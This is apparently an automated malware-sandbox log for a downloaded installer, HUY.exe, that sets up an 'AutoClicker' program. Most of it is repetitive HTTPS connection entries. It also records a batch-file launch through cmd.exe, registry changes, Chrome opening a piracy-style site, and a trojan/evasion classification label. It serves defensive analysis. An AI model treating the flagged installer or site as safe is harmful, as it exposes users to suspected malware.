Source: unknownNetwork traffic detected: HTTP traffic on port 49980 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
Source: unknownNetwork traffic detected: HTTP traffic on port 49885 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49899
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49898
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49897
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49896
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49895
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49773
Source: unknownNetwork traffic detected: HTTP traffic on port 49862 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49894
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49772
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49893
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49892
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49770
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49891
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49890
Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49897 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49911 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49957 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49851 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49830 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49991 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49889
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49888
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49887
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49886
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49885
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
Source: unknownNetwork traffic detected: HTTP traffic on port 49863 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49884
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49883
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49882
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49881
Source: unknownNetwork traffic detected: HTTP traffic on port 49840 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49880
Source: unknownNetwork traffic detected: HTTP traffic on port 49702 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49896 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49797 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49956 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49979 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49879
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49878
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49877
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49876
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49875
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49996
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49874
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49995
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49873
Source: unknownNetwork traffic detected: HTTP traffic on port 49923 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49872
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49993
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49818 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49871
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49992
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49870
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49991
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49990
Source: unknownNetwork traffic detected: HTTP traffic on port 49786 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49874 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49829 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49934 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49869
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49868
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49989
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49867
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49988
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49866
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49987
Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49826 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49849 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49900 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49837 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49975 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49929 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49872 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49964 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49798 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49861 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49918 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49873 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49787 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49930 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49986 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49850 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49963 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49799
Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49798
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49797
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49796
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49795
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49794
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
Source: unknownNetwork traffic detected: HTTP traffic on port 49814 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49791
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49790
Source: unknownNetwork traffic detected: HTTP traffic on port 49895 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49825 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49884 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49907 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49789
Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49859 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49871 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49894 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49965 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49942 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49977 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49816 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49919 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49954 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49988 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49827 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49848 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49882 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49838 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49976 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49953 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49815 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49860 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49883 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49931 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49804 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49987 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49920 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49926 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49949 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49800 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49961 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49984 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49881 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49950 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49996 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49812 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49858 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49893 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49915 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49823 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49869 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49834 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49892 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49847 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49927 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49822 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49870 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49983 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49938 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49811 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49813 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49951 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49974 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49836 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49916 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49845 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49791 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49868 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49879 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49985 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49802 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49995 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49857 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49801 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49940 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49824 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49891 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49835 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49917 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49880 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49962 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49846 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49890 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49878 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49912 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49935 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49958 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49889 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49866 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49820 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49946 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49855 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49981 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49901 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49924 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49819 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49844 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49947 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49831 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49992 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49969 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49856 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49913 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49808 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49867 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49821
Source: unknownNetwork traffic detected: HTTP traffic on port 49865 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49942
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49820
Source: unknownNetwork traffic detected: HTTP traffic on port 49842 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49940
Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49833 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49819
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49818
Source: unknownNetwork traffic detected: HTTP traffic on port 49810 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49817
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49938
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49816
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49937
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49815
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49936
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49814
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49935
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49813
Source: unknownNetwork traffic detected: HTTP traffic on port 49902 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49934
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49812
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49933
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49811
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49932
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49810
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49931
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49930
Source: unknownNetwork traffic detected: HTTP traffic on port 49925 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49971 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49794 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49936 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49876 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49960 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49809
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49808
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49929
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49807
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49928
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49806
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49927
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49805
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49926
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49804
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49925
Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49803
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49924
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49802
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49923
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49801
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49922
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49800
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49920
Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 443
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49801 version: TLS 1.2
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49832 version: TLS 1.2
Source: unknownHTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49860 version: TLS 1.2
Source: unknownHTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49936 version: TLS 1.2
Source: unknownHTTPS traffic detected: 3.161.82.109:443 -> 192.168.2.16:49974 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.16:49981 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.16:49993 version: TLS 1.2
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3252 -s 1972
Source: classification engineClassification label: mal48.troj.evad.win@43/120@109/322
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Program Files\Google\Chrome\Application\Dictionaries
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\AutoClicker\AutoClicker.exeMutant created: NULL
Source: C:\Windows\System32\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3252
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5760:120:WilError_03
Source: C:\Users\user\Downloads\HUY.exeFile created: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Program Files\AutoClicker\AutoClickerUpdate.bat" "
Source: C:\Users\user\Downloads\HUY.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Downloads\HUY.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile read: C:\Users\user\Desktop\desktop.ini
Source: C:\Users\user\Downloads\HUY.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1924 --field-trial-handle=1920,i,10451475700952946686,3645390677050965185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.5movierulz.mom"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1924 --field-trial-handle=1920,i,10451475700952946686,3645390677050965185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6372 --field-trial-handle=1920,i,10451475700952946686,3645390677050965185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6372 --field-trial-handle=1920,i,10451475700952946686,3645390677050965185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
